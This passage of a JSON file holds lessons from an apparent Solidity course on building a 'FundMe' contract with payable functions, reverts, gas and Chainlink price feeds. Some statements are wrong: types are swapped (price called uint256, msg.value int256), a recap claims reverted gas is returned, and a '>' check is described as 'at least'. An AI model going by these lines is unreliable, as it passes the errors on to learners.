**'Fund'**. Following this, your connected wallet (e.g., Metamask) will open for you to confirm the transaction. During this transaction, the contract balance in the functional section will show zero until the fund transfer process completes.\n\nOnce the transaction has completed, the contract balance will update to display the transferred amount. The contract owner can then withdraw the funds.\n\n### Practically Speaking....\n\nWe can go through the process using 0.1 ether as an example. After input the amount to be sent, and hit the `fund` button, confirm the transaction using my connected wallet (in this case, MetaMask), and the balance of the contract will show as zero. After a while, once the transaction has been completed, we will see a balance of 0.1 ETH appearing on Etherscan and Remix. The slight delay merely reflects transaction processing times.\n\nFollowing this, we can give permission to the contract owner to withdraw the funds. Since in this case, we are also the owner of the contract, the balance will be transferred back into our account. The balance can also be returned to MetaMask if kept open for long enough. \n \n## Wrapping Up \n\nAnd that's it! Once you complete this section, you would have grasped most of the fundamentals of working with Solidity! So keep watching this lesson chapters and get learn how to implement this `FundMe` contract yourself step by step.\n\nBe sure to write down any questions you may have and direct them towards our GitHub discussions thread.\n\nReady to get started? Let's jump back in!", + "updates": [] + }, + { + "lessonId": "dab8c9d9-9cde-4765-96f1-2f6f09a744c0", + "number": 2, + "title": "Project setup", + "slug": "setup", + "folderName": "2-setup", + "description": "This lesson guides through the initial steps in coding the 'FundMe' contract, which allows users to send funds and an owner to withdraw them. It involves setting up the Remix IDE workspace, outlining the contract functions, and focusing on the 'fund' function.", + "duration": 2, + "videoUrl": "01z3qi17GtxPd4p400rqz3l9ImptmZ8SJ4DAVCa3tCND00", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/2-setup/+page.md", + "markdownContent": "---\ntitle: Project Set up\n---\n*Follow along this chapter with the video bellow*\n\n\n\nOn this chapter, we are going to delve into the heart of the Ethereum Blockchain - smart contracts. We'll start to code 'FundMe.' It will be a simple contract that allows users to send funds into it, and later, an owner can withdraw the funds from it. But you already know that, let's start by cleaning up our Remix IDE workspace.\n\n### **1. Preparing our Remix IDE workspace**\n\nOpen your [Remix IDE](https://remix.ethereum.org/) and delete all preexisting contracts to start afresh. You might find contracts named simple storage, add five extra, storage factory, etc., from our previous lesson posts. Just right-click each one and select 'delete.' Make sure your workspace is clear before moving to the next step. Also, you can just create a new workspace and leave the previous contracts for reference purposes. Remember tough that if you delete the cookies and history on your browser, you will lose all your previous work.\n\n\nNow let's get down to business and start creating our contract. You can name it 'FundMe.' A valuable tip for any coding process is to first write down what you want your code to achieve in plain English.\n\nFor our 'FundMe' contract, we primarily want it to perform three tasks:\n\n1. **Allow users to send funds into the contract:** A standard function in any fundraising platform; users should be able to donate funds into the 'FundMe' contract.\n2. **Enable withdrawal of funds by the contract owner:** The contract owner, or whoever has control over the 'FundMe' contract, should be able to withdraw the accumulated funds.\n3. **Set a minimum funding value in USD:** There should be a lower limit for donations to prevent negligible amounts—e.g., a penny.\n\nNow, armed with these guidelines, we'll start building the contract. Start by declaring the SPDX license identifier and the solidity version:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract FundMe {}\n```\n\n### **3. Outlining the Contract Functions**\n\nBefore diving into the nitty-gritty of our code, let's lay down the functions we aim to implement for our contract functionality. Two primary functions will form the backbone of our 'FundMe' contract:\n\n1. **`fund`:** This function will facilitate the donation of funds into the contract by users.\n2. **`withdraw`:** This function will enable the contract owner to extract the funds that have been donated.\n\nThese functions will represent the main interaction points with our contract. We may add more features later, but for now, we'll establish these two at the core of our contract.\n\nBut coding everything at once can be overwhelming, especially for large projects. Thus, best practice dictates that we comment out the `withdraw` function and pay singular attention to building the `fund` function.\n\n```js\ncontract FundMe {\n // users will use this function to send funds into our contract\n function fund() public {code here}\n // Function for owner to withdraw funds\n /*function withdraw() public {// code for the `withdraw` function will go here}*/}\n```\n\nThat's all for this post. Join us in the next one as we delve into crafting the `fund` function and give life to our 'FundMe' contract.\n\n\n", + "updates": [] + }, + { + "lessonId": "43475ec4-ae9d-465f-b8dc-b45353801e56", + "number": 3, + "title": "Sending ETH through a function", + "slug": "sending-eth-through-a-function", + "folderName": "3-sending-eth-through-a-function", + "description": "This chapter explains how to create a function in a smart contract that requires a minimum amount of Ethereum (ETH) to be sent", + "duration": 5, + "videoUrl": "YHJ01O14lGvDu8Qw012PoLh2jr8PSxwfPnPYsHEd9VInw", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/3-sending-eth-through-a-function/+page.md", + "markdownContent": "---\ntitle: Sending ETH trough a function\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nIn this chapter, we'll explore how to establish a mechanism that enables users to send Ethereum (ETH) to a smart contract. Specifically, we'll create a function that requires a minimum amount of ETH.\n\n## How Does the Transaction Work?\n\nWhen a transaction on the blockchain occurs, a value field is always populated. This field represents the quantity of native blockchain cryptocurrency sent in each transaction. For instance, when the value field in a transaction between our accounts was populated through MetaMask, it indicated the amount of ETH being transferred.\n\n\n## Enabling Our Function to Accept Cryptocurrency\n\nFor our function to be able to receive the native blockchain currency, we need to make the function 「payable」. In Solidity, this is accomplished using the keyword `payable`. This keyword turns the function red in the Remix UI, signifying that it can accept cryptocurrency.\n\n```js\nfunction fund() public payable{...}\n```\n\n## Holding Funds in Contract\n\nJust as wallets hold funds, contracts can serve a similar role. Following deployment, a contract behaves almost identically to a wallet address. It can receive funds, interact with them, and as seen in our demo, the contract can amass a balance akin to a wallet.\n\n\n\n\n## Transaction Value - The Message Value\n\nThe value amount of a transaction can be accessed using the `message value` global in Solidity.\n\n```javascript\nmsg.value\n```\n\nThis represents the number of 'wei' sent with the message. Here, 'wei' is the smallest denomination of ETH.\n\n## Implementing Requirements for Transactions\n\nTo enforce a minimum threshold of one ether sent via our function, we can utilize the `require` keyword.\n\n```javascript\nrequire(msg.value > 1 ether);\n```\n\nThis essentially ensures that the transaction only proceeds if at least one ether is contained within the value field. If the requirement isn’t met, the transaction reverts.\n\nShould we wish to offer more context to the user, we can supplement the require statement with a custom error message.\n\n```javascript\nrequire(msg.value > 1 ether, \"Didn't send enough ETH\");\n```\n\nAn online tool like [Ethconverter](https://eth-converter.com/) can be useful for converting between ether, wei, and Gwei (another denomination of ether).\n\n## Reverting Transactions\n\nIf a user attempts to send less than the required amount, the transaction will fail and a message will be displayed. For instance, if a user attempts to send 1000 wei, which is significantly less than one ether `(1 x 10^18 wei)`, the transaction will not proceed.\n\nTo demonstrate this, see the example below where the user is attempting to send `3000000` wei:\n\n\n\nAs you can see, the require statement has the power to control the behavior of the transaction. If the condition set is not satisfied, it reverts the transaction with the provided error message. This guarantees our contract gets the minimum amount of ETH required.\n\nBy understanding how to enforce payment requirements, you gain more control over the behavior and security of your contracts. Continue exploring Solidity's capabilities to build amazing Smart Contract, let's continue with the next lesson.", + "updates": [] + }, + { + "lessonId": "265a0fdd-801d-46cd-bc4b-c1fb65468812", + "number": 4, + "title": "Solidity reverts", + "slug": "solidity-reverts", + "folderName": "4-solidity-reverts", + "description": "The lesson focuses on understanding 'reverts' and 'gas' in Ethereum transactions. It covers the concept of reverting transactions, checking gas usage, and how gas is used and refunded in failed transactions. The lesson also explores transaction fields and gas limits.", + "duration": 4, + "videoUrl": "01l85yffFPNlmNuAFbI7afHdYp2JafpvMUG9aYI9uvV00", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/4-solidity-reverts/+page.md", + "markdownContent": "---\ntitle: Solidity Reverts and Gas\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\n\n\n# Understanding Reverts and Gas in Ethereum Blockchain\n\nIn this lesson will emphasize **reverts** and how **gas** works in transactions.\n\n## What is a Revert?\n\nReverts can at times be confusing and appear tricky. A revert, in essence, undoes previous actions, sending back the remaining gas associated with that transaction. But what does this mean in context?\n\nLet's illustrate this with an example using our `FundMe` contract. Here's some code to start with:\n\n```javascript\n uint256 public myValue;\n myValue = 1;\n function fund() public {\n myValue = myValue + 2;\n }\n```\n\nIn our `fund` function, we increase `myValue` by two each time it executes successfully. However, if we encounter a revert statement, the previous action (where we added two to `myValue`) is undone and `myValue` is reset to its original state.\n\n\n\n\nThis means that if the transaction reverts, `myValue` returns to its previous value (in this case, one). Although technically, the line `myValue = myValue + 2;` was executed, the reverting line following it ensures this change never gets confirmed.\n\n## Checking the Gas Usage\n\nNow arises an important question – will the gas used in the transaction be refunded if my transaction didn't go through because it reverted? Unfortunately, no. If a transaction fails, you still consume the gas because computers executed the code before the transaction reverting.\n\n\nUsers, however, can specify how much gas they're willing to allocate to a transaction. For instance, if a function contained lines of computation after the `require` line, a significant quantity of gas would be needed to operate and run this function. However, if a revert is encountered midway, the unused gas is refunded to whoever initiated the transaction.\n\nHere's a simple rule of thumb:\n\n\n\n## A Look at Transaction Fields\n\n\n\n\nEvery transaction includes specific fields, such as nonce (transaction count for the account), gas price, gas limit (seen on Etherscan), the recipient's address, the transaction value, and data. The data field holds the function call or contract deployment information. These transactions also include cryptographic elements in the V, R, and S fields.\n\nIf sending value, the gas limit is typically set to 21,000, the data field remains empty, and the recipient's address is filled in.\n\n\n\n\n\nIn the Remix Ethereum IDE, values can be set in Wei, Gwei or Ether units. Each Ether is worth `1,000,000,000,000,000,000` Wei or `1,000,000,000` Gwei.\n\n## Conclusion\n\nWhile reverts and gas may seem tricky and can at times be confusing, they help uphold the integrity of the blockchain and its state.In sum, reverts validate integrity by reversing transactions when failures occur. Gas powers transactions, running the EVM, and even when transactions fail, the gas used is not recoverable. To manage this, Ethereum allows users to set the maximum amount of gas they're willing to use for transactions.\n\nLet's keep learning with the next lesson!", + "updates": [] + }, + { + "lessonId": "0640be76-d633-468b-b959-feb7ad8e9be9", + "number": 5, + "title": "Intro to oracles - getting real world price data", + "slug": "real-world-price-data", + "folderName": "5-real-world-price-data", + "description": "This lesson introduces the concept of decentralized oracles and Chainlink for getting real-world price data into smart contracts. It explains how to update contracts for currency conversion, use Chainlink data feeds, and discusses Chainlink's role in blockchain oracles.", + "duration": 15, + "videoUrl": "kKcW3F00nT5GAXrw00VQWL00uEfXdORQGgPneUqu00uGDw8", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/5-real-world-price-data/+page.md", + "markdownContent": "---\ntitle: Real World Price Data\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nWith the advancement of blockchain technology and the increasing integration of decentralized finance (DeFi) platforms, the need to accommodate a range of digital currencies has exploded. Allowing users to transact in their preferred digital coinage not only enhances the user experience, but also broadens the market reach of your platform. This lesson will walk you through the steps to adding currency conversion features and setting price thresholds in your smart contracts with Chainlink Oracle, a decentralized network for external data.\n\n\n\n\n## Updating Our Minimal Contract\n\nCurrently, our contract is too simplified. It requires the message value to exceed one full Ethereum (ETH). If we want our users to spend a minimum of $5 instead of one ETH, we will need to update our contract. To specify this new value, add the line `uint256 minimumUSD = 5` at the top of your contract. To make this value public, replace `internal` with `public`. You can optimize this `minimumUSD` later on for a more gas-efficient contract.\n\nFor the `fund` function within the contract, change the condition to check if the message value meets or exceeds `minimumUSD`. However, we face a roadblock here. The `minimumUSD` value is in USD while the message value is in terms of ETH. This is the part where we introduce *Oracles*, particularly *Chainlink*, into our code.\n\n## Understanding Decentralized Oracles and Chainlink\n\nIn the financial markets, the USD price of assets like Ethereum is externally assigned and does not originate from the blockchain technology itself. Abstracting this price information requires a bridge between the off-chain and on-chain data, which is achieved by using a *decentralized Oracle network* or an Oracle.\n\n\n\n\nBlockchain exists in a vacuum, ignorant of real-world data and occurrences. It doesn't inherently know the value of ETH or other external data like the weather or a random number. This limitation is due to its deterministic nature that allows all nodes to reach a consensus without diverging or causing conflicts. Attempting to introduce external and variable data or results of API calls will disrupt this consensus, resulting in what is referred to as a *smart contract connectivity issue* or *the Oracle problem*.\n\n## Chainlink and Blockchain Oracles\n\nIn order for our smart contracts to replace traditional understandings of agreement, they must be able to interact with real-world data. This is achievable with Chainlink and blockchain Oracles. A blockchain Oracle serves as a device that broadcasts off-chain data or computations to the smart contracts.\n\nIt's not enough to cascade data through a centralized Oracle because that reintroduces failure point. Centralizing our data source contradicts our goal of decentralization and potentially jeopardizes the trust assumptions that are vital to the operations of blockchains. Consequently, centralized nodes make poor sources for external data or computation capacity. Chainlink provides a solution to these centralized problems.\n\n## How Chainlink Works\n\nChainlink is a modular, decentralized Oracle network that enables the integration of data and external computation into our smart contracts. As mentioned earlier, hybrid smart contracts are highly feature-rich and powerful applications that combine on-chain and off-chain data.\n\nWith Chainlink, we discard the idea of making HTTP calls on blockchain nodes to an API endpoint. These nodes cannot make HTTP calls without breaking consensus. Instead, we assign a network of decentralized Chainlink Oracles the job of delivering data to our smart contracts.\n\nChainlink networks offer flexibility in that they can be configured to deliver any data or execute any external computation at will. Although it requires some work to achieve this level of customization, Chainlink offers ready-made features that can be added to your smart contract applications. Let's go over these features.\n\n## Chainlink Data Feeds\n\nResponsible for powering over $50 billion in the DeFi world, Chainlink data feeds are arguably the most utilized feature. This network of Chainlink nodes sources data from various exchanges and data providers, with each node independently evaluating the asset price.\n\nThey aggregate this data and deliver it to a reference contract, price feed contract, or data contract in a single transaction. These contracts contain the pricing information that powers DeFi applications.\n\n\n\n## Chainlink Verifiable Randomness Function (VRF)\n\nNext up is the Chainlink VRF, a solution for generating provably random numbers. This feature ensures fairness in applications, randomizing NFTs, lotteries, gaming, and more within the blockchain environment. These numbers can't be manipulated as they are determined outside of the blockchain.\n\n\n\n\n## Chainlink Keepers\n\nAnother great feature is Chainlink's system of keepers—nodes that listen to a registration contract for specific events. Upon detection of triggers that have been programmed into the contract, these nodes perform the intended actions.\n\nFinally, *Chainlink Functions* offer an extreme level of customization—it allows making API calls in a decentralized context. It can be used to create novel applications and is recommended for advanced users who have a deep understanding of Chainlink.\n\n## Conclusion\n\nIntegrating currency conversion and setting a price threshold in your smart contract is made easy with Chainlink. This decentralized Oracle network not only addresses the 'Oracle problem', but provides a suite of additional features for enhancing your dApp capabilities. With Chainlink, you can create a more user-friendly experience for your blockchain platform users.\n\nWe look forward to seeing you unleash the true potential of your smart contracts and how to implement Chainlink in your dApps.", + "updates": [] + }, + { + "lessonId": "5883e116-4ba3-4df1-8721-ebf022f9029c", + "number": 6, + "title": "Mid section recap", + "slug": "mid-section-recap-fund-me", + "folderName": "6-mid-lesson-recap", + "description": "A recap of key concepts covered so far, including marking functions as payable for transactions, using 'require' statements, handling values with 'msg.value', and integrating external data using Chainlink for accurate real-world asset pricing in smart contracts.", + "duration": 1, + "videoUrl": "Konn1o9302Wm02BbS2pa5ln8SCwoXxx6VxxJtfie3L3SE", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/6-mid-lesson-recap/+page.md", + "markdownContent": "---\ntitle: Mid Lesson Recap\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n\n\nJust before we get deeper, let's do a quick review of what we have covered so far. We understand we haven't written that much code, but we've definitely gone over a ton of concepts. We've learned about native blockchain tokens such as Ethereum, as well as crucial elements to incorporate in your smart contract, like marking a function as payable whenever there is a need to receive native blockchain token in a function, among others.\n\n## Payable and Required Statements in Smart Contract Functions\n\nIn the decentralized world of blockchain, a transaction does not just occur. This is especially true when you want to force a transaction to do something specific or want it to fail under certain circumstances. One of the requirements for a function to receive a native blockchain token such as Ethereum is to mark it as payable. Here is a simple yet illustrative code showing how to make a function payable.\n\n```js\nfunction deposit() public payable {\n balances[msg.sender] += msg.value;\n}\n```\n\nThe critical bit here is `payable`, which allows the function to accept Ethereum as part of the process. Remember, the function must be marked `payable` in order to receive ether in a transaction.\n\n\n\nBut what happens when you would like an operation to fail if a particular condition is not met? This is where `require` statements come in handy. For instance, when making a bank transfer, we want the operation to fail if the sender does not have enough balance. Here's an example;\n\n```js\nfunction transfer(address recipient, uint amount) public {\n require(balances[msg.sender] >= amount);\n balances[msg.sender] -= amount;\n balances[recipient] += amount;\n}\n```\n\nIn this piece of code, if the condition `balances[msg.sender] >= amount` is not met, the transaction will revert. This literally means the operation undoes any work it previously did and returns the initially used gas to the user. In other words, `require` can be viewed as a gatekeeper, only allowing transactions to proceed when certain conditions are met.\n\nMoreover, obtaining values sent with a transaction is achieved via the solidity global `msg.value` property. This comes in handy when you need to handle values within a transaction context.\n\n## Integrating External Data with Chainlink\n\nChainlink is a revolutionary technology for getting external data and computation into our smart contracts. It provides a decentralized way of injecting data into your smart contract which is particularly useful for assets whose values change over time. For instance, if your smart contract deals with real-world assets such as stocks or commodities, obtaining real-time pricing information is crucial.\n\nThis is where the Chainlink data feeds or Chainlink price feeds come in. It helps in sourcing this pricing information in a decentralized manner — hence reflecting the real-world fluctuation of asset prices in your smart contracts.\n\n\n\nTo illustrate this, let's consider that we are building a smart contract that deals with commodities like Gold. Chainlink price feeds can give real-time gold prices, allowing your smart contract to reflect the real world market prices.\n\n```js\nimport \"@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol\";\ncontract GoldPriceContract {\n AggregatorV3Interface internal priceFeed;\n //The Chainlink price feed contract address\n constructor() public {priceFeed = AggregatorV3Interface(0x8468b2bDCE073A157E560AA4D9CcF6dB1DB98507);}\n // Get the latest gold price\n function getLatestGoldPrice() public view returns (int) {\n (,int price,,,) = priceFeed.latestRoundData();\n return price;\n }\n }\n```\n\nIn this example, Chainlink feeds are used to query the latest price of Gold. It can then be used in a more complex calculation according to the logic of your contract.\n\nTo summarise, Chainlink is a tool that broadens the capabilities of smart contracts by enabling access to real-world data and computations. By learning how to use it, it's easy to see that the potential applications for smart contracts are virtually limitless!\n", + "updates": [] + }, + { + "lessonId": "da69799d-656b-4681-85c8-1783021913cc", + "number": 7, + "title": "Solidity interfaces", + "slug": "solidity-smart-contract-interfaces", + "folderName": "7-interfaces", + "description": "This lesson delves into using Solidity interfaces for converting Ethereum into USD and interacting with contracts. It explains how interfaces work, the importance of contract addresses and ABIs, and demonstrates interfacing with the Chainlink Aggregator V3 for price feeds.", + "duration": 7, + "videoUrl": "DKgXN7zDb5cqaT0102xpAWa1SbEcN7SwSGw1DsjX4OzlU", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/7-interfaces/+page.md", + "markdownContent": "---\ntitle: Interfaces\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nMaking transactions with Ethereum has become quite straightforward. But converting Ethereum into dollars or other currencies is where things get a little tricky. So today, we're going to take a deep dive into converting Ethereum into USD and interacting with other contracts lodged within the Ethereum blockchain.\n\n## Converting Ethereum into USD\n\nWhen it comes to determining whether the amount of Ethereum sent via a transaction meets a minimum USD value (e.g., $5), the conversion from Ethereum into USD becomes necessary. This conversion requires us to identify the price of Ethereum (or any other native blockchain token we're working with) in terms of USD; after which, we apply a conversion rate to ascertain its USD equivalent.\n\nNow, let’s see how to implement these steps in code.\n\n```js\n // Function to get the price of Ethereum in USD\n function getPrice() public {}\n // Function to convert a value based on the price\n function getConversionRate() public {}\n```\n\nThe two functions we're going to create here, `getPrice()` and `getConversionRate()`, will serve our purposes. For the time being, we're making them public so we can easily test, play with, and fine-tune them as we see fit.\n\n## Leveraging Chainlink for Ethereum Prices\n\nOur primary source for Ethereum prices will be a Chainlink data feed. Chainlink documentation provides a basic example written in Solidity that demonstrates how to interact with their price feed. Take a look at it [here](https://docs.chain.link/docs/get-the-latest-price/).\n\nThis example makes use of the `latestRoundData` function of a contract at a given address, returning a multitude of data points. However, our interest is solely in the Ethereum price for the time being.\n\n## Interfacing with the Contract\n\nThe process of interfacing with this contract (and subsequently getting the Ethereum price) requires us to know two essentials: the contract's address and its Application Binary Interface (ABI). The address is easy to access via the Chainlink documentation, specifically under the 'Price Feed Contracts' section.\n\nAs noted in Chainlink's contract addresses for Ethereum (ETH), we only need to obtain the Ethereum to USD price feed (ETH/USD!). You can access it [here](https://docs.chain.link/data-feeds/price-feeds/addresses).\n\nNext, we tackle the ABI.\n\nThe simplest way to obtain the ABI is by importing, compiling, and deploying the entire contract — a somewhat cumbersome method for our current task, especially considering that we don't need to comprehend the whole contract. We only need a key: what methods (functions) can be called on this contract, their inputs, whether they're payable or view functions, and other similar details.\n\nAn alternate approach relies on the concept of `Interface`.\n\n## Solidity Interface: A Mode of Interaction\n\nIn Solidity, an interface essentially is a declaration of methods without implemented logic — merely a list of possible interactions with a contract. The interface allows us to call these functions on the contract without needing the contract code. If the contract is deployed, the logic is also automatically included with it.\n\nChainlink's GitHub repository provides a detailed rundown of different contracts, and our focus is on the Aggregator V3 Interface. You can review it [here](https://github.com/smartcontractkit/chainlink/blob/develop/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol). This interface is what we need to interact with the contract for our task. It contains the `getVersion()` function, among others, key for our usage.\n\nBy copying the interface and employing Remix, Solidity's online compiler, we can test the `getVersion()` function. Testing on testnets can be time-consuming; hence, it is best to defer full deployment until the end.\n\n```js\n // Copy the Aggregator V3 Interface from Chainlink's GitHub\n AggregatorV3Interface interface = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);\n // Create a function to call the getVersion() function in the interface\n function getVersion() public view returns (uint256) {\n return interface.version();\n }\n```\n\nThese code snippets allow us to interact with the Chainlink Price Feed contract and retrieve the current version.\n\nIt's beneficial to remember that in the dynamic field of blockchain and Ethereum, learning is an ongoing cycle. Patience, persistence, and practice are your allies in harnessing the power of Ethereum and Solidity.\n\nJoin us in exploring this exciting technology, and together, let's keep coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "4a672ede-7ebe-4c9f-a9b6-50c914249926", + "number": 8, + "title": "Use AI to help pt.2", + "slug": "ai-help-development-part-2", + "folderName": "8-ai-help-iii", + "description": "A lesson on using AI models like ChatGPT for understanding complex programming concepts in Solidity, focusing on the function of returning values without logic defined in interfaces. It explores the interaction between functions, contracts, and addresses using AI insights.", + "duration": 3, + "videoUrl": "aU9o6pGYc2QCrm8KZgmTaLTfFpT3023rZsbzct01W7QAo", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/8-ai-help-iii/+page.md", + "markdownContent": "---\ntitle: AI Help III\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\nIn our quest for mastering the field of programming, questions and confusions are inevitable stepping stones. From deciphering the unintended consequences of a code block to understanding the intricate mechanisms behind built-in functions, every step in this journey is an opportunity to learn something new. Today, we'll discuss a common confusion that many developers stumble upon: *How does a Solidity function return a value when no logic is defined within it?*\n\nWe'll simplify this problem by providing a context of the Aggregator v3 Interface and explore the interaction between the function, contract, and the address associated with it. This lesson signifies an interactive approach where we speculate, ask questions, and validate our understanding of the topic with the help of AI model Chat GPT. So, let's dive in!\n\n## The Conundrum of the 'Get Version' Function\n\nThe journey begins with an intriguing question related to the Solidity function from the Aggregator v3 Interface.\n\nHere's the question that sets the ball rolling:\n\n\n\n\n\nTo form a clearer picture, let's look at the code snippet in question:\n\n```js\nfunction getVersion() external view returns (string memory);\n```\n\nOne of the common challenges new developers face is understanding the underlying mechanism of this 'get version' function. How is it able to return a value when there isn't any code defined in the Aggregator v3 Interface? Moreover, what makes it work when we insert an address?\n\nThis is where the incredible AI model Chat GBT comes into play to help unravel the mystery.\n\n## Insights from AI\n\nIn response to the confusion at hand, our AI companion provided an enlightening explanation. According to Chat GBT v3.5,\n\n\n\n\nThis confirms our suspicion.\n\n\n\n\nThe `version` function exists within the contract that incorporates this interface. By wrappering the address with Aggregator v3 Interface, we're instructing our Solidity compiler that at this address lies the 'version' function or all the functions encompassed within the Aggregator v3 Interface. If this address lacks the 'version' function, the code would break.\n\n## Further Clarification: What Happens If The Function Doesn't Exist?\n\nGiven the proactive nature of our AI companion, it is responsible and recommended to ensure accurate responses. So, it raises the question: *What would happen if that contract address didn't have that function?*\n\nAs explained by our AI:\n\n\n\nWhat this entails is that despite not leading to a compilation error, the transaction would consequently revert if the contract address lacks a 'version' function.\n\n## Cross-Verifying with Discussions Forum\n\nAccurate understanding is of paramount importance, and therefore, double-checking is a good practice. In such a scenario, the next step would be to validate this understanding on a discussions forum.\n\nIn conclusion, this lesson elucidates the inner workings of the 'get version' function and the Aggregator v3 Interface, unravelling the hidden interactions and dependencies with the help of AI. By constantly questioning and confirming our understanding of each step, we can ensure we are on the path to mastering blockchain programming.\n\nKeep learning and we'll see you on the next lesson. Happy coding!\n\n", + "updates": [] + }, + { + "lessonId": "007993d3-d26f-4bba-9f1b-86ae1ac98cf4", + "number": 9, + "title": "Importing libaries from NPM and Github", + "slug": "import-libraries-smart-contracts-from-npm-github", + "folderName": "9-importing-from-npm-github", + "description": "This chapter explores how to import libraries and interfaces directly from GitHub or NPM in Ethereum contract development. It covers the benefits of direct imports for managing interfaces, using the Chainlink AggregatorV3Interface as an example.", + "duration": 3, + "videoUrl": "p500TL1PRf6ITdaP5XPEq9ZAbpfRI5RKgTK99FjVSKh00", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/9-importing-from-npm-github/+page.md", + "markdownContent": "---\ntitle: Importing from NPM & GitHub\n---\n\n*Follow along this chapter with the video bellow*\n\n*Follow along this chapter with the video bellow*\n\n\nIn Ethereum contract development, we frequently need to interface with other smart contracts. This usually means importing and dealing with potentially complex and numerous interfaces which can make our contracts untidy and difficult to manage. Is there a better way to do this? Let's explore how to streamline this process in Ethereum's programming environment, the Remix IDE, using Chainlink contracts as an example.\n\n\n### Understanding Interfaces\n\nThe purpose of an interface is to specify the contract's functions and addresses that we want to use or interact with. However, managing many interfaces within our contracts can clutter our files and make working with them cumbersome.\n\nConsider using the SmartContract interface as an example:\n\n```js\ninterface SmartContract {\n function someFunction() external view returns(uint, uint);\n}\n```\n\nIn the case where we are working with a contract that isn't in our project's local directories such as SimpleStorage, we've learnt that we can easily import the contract by stating `import \"./SimpleStorage.sol\"` at the top of our contract file.\n\nBut what if the contract you want to work with isn't locally stored in your project? Can we still import it as we did with SimpleStorage?\n\n### Direct Imports from GitHub\n\nThe good news is, contracts hosted on GitHub can be directly imported into your project. To demonstrate, let's take the example of the `AggregatorV3Interface` contract from Chainlink. We didn't create this interface, and it isn't stored locally in our project's directory.\n\nOne approach could be to copy the entire code, create a new file within our project (for example, `AggregatorV3Interface.sol`), paste the copied code, and then import this file into our contract. Effective, but tedious.\n\n```js\nimport \"./AggregatorV3Interface.sol\";\n```\n\nIs there a more efficient way? Let's return to the [Chainlink documentation](https://docs.chain.link/docs/using-chainlink-reference-contracts). As we scroll down, we notice an `import` statement.\n\n```js\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n```\n\nThis import command contains the path that corresponds to the `AggregatorV3Interface.sol` GitHub repository. This means we can directly import the contract from GitHub or NPM, ridding us of the need to manually copy and paste.\n\n### Understanding the Import Method\n\nTo further comprehend what this import does, let's dissect it. `@chainlink/contracts` is a package existing on NPM (Node Package Manager), it consists of different versions of combinations of code that we can download and use. This package is directly derived from Chainlink's GitHub repository. The rest of the path tells Remix specifically which file we want to import.\n\nRemix is intelligent enough to interpret this `import`, observing `@chainlink/contracts` as referring to the NPM package. Consequently, Remix downloads all the necessary code from NPM, which is essentially sourced directly from GitHub.\n\nAdding the `import` statement to our contract is, therefore, equal to copy-pasting the entire interface at the top of our contract. Simplifying our effort and reducing clutter.\n\n```js\n pragma solidity 0.8.18;\n import \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n contract MyContract {}\n```\n\nAfter adding the `import` statement, we can successfully compile the `AggregatorV3Interface` contract. Badaboom, badaboom.\n\n\n\nIndeed, this method ensures we are following efficient development practices and keeps our code clean and manageable.\n\n## Conclusion\n\nIt's crucial to regularly wise up to new and efficient tricks to keep our code clean and easier to manage. Importing contracts directly from NPM or GitHub is one such smart method! Happy coding.", + "updates": [] + }, + { + "lessonId": "1e873454-026c-446a-89d5-dc5a6267d01b", + "number": 10, + "title": "Getting real world price data from Chainlink", + "slug": "getting-prices-from-chainlink", + "folderName": "10-getting-prices-from-chainlink", + "description": "The lesson focuses on extracting real-world pricing information using the Aggregator V3 interface from Chainlink. It covers creating contract instances, summoning 'latestRoundData', dealing with decimals in Solidity, and typecasting for price and value compatibility.", + "duration": 4, + "videoUrl": "yEBSFZZHXtAoELBOtcNipRDrmCu21DbELH6Z975KVBM", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/10-getting-prices-from-chainlink/+page.md", + "markdownContent": "---\ntitle: Getting Prices from Chainlink\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nWhen it comes to blockchain development and interaction with smart contracts, JSON RPC interfaces and Application Binary Interfaces (ABIs) play an essential role. One such interface is the Aggregator V3, which provides a minimalistic ABI for developers to interact with their contracts. Today, we'll explore how to extract requested pricing information using Solidity.\n\n## Creating a New Contract Instance\n\nThe `AggregatorV3` interface encloses the prerequisites like the `latestRoundData` function which is commodious for getting the latest price.\n\nTo proceed, we'll initiate declaring the `AggregatorV3` interface and creating a new variable named `priceFeed`. This variable will denote a contract instance at a specific address, which is legit for Sapolia network:\n\n```js\n AggregatorV3Interface priceFeed = AggregatorV3Interface(/*address to your contract*/)\n\n```\n\nThe object `priceFeed` now allows us to summon the `latestRoundData` function on it.\n\n## Summoning latestRoundData\n\nIn the official documentation on GitHub, `latestRoundData` is described to return multiple results, including the last round ID, price, the time the price started on-chain, timestamp, and the round ID of the last round when the price was answered. However, we'd only be concerned with the price for now, so we'll exclude other return types:\n\n```js\nfunction getLatestPrice() public view returns (int) {\n (,int price,,,) = priceFeed.latestRoundData();\n return price;\n}\n```\n\nHere, we leave the commas to placeholders for exit variables, which we don't need.\n\nOur new function `getLatestPrice()` now extracts the latest price from the `latestRoundData()` function. This function returns the value of Ether in USD.\n\nGenerally, the returned price exists as an integer since Solidity's incompatibility with decimals. This brings us to the tricky part of compatibility between `price` (a `uint256`) and `msg.value` which is an `int256`.\n\n## Dealing with Decimals\n\nTypically, `msg.value` has 18 decimal places. This means that the `price` returned from our `latestRoundData` function isn't compatible with `msg.value`. To make them match, we simply multiply `price` by `1e10`:\n\n```js\nreturn price * 1e10;\n```\n\nThere's been a little confusion here. `Price` is 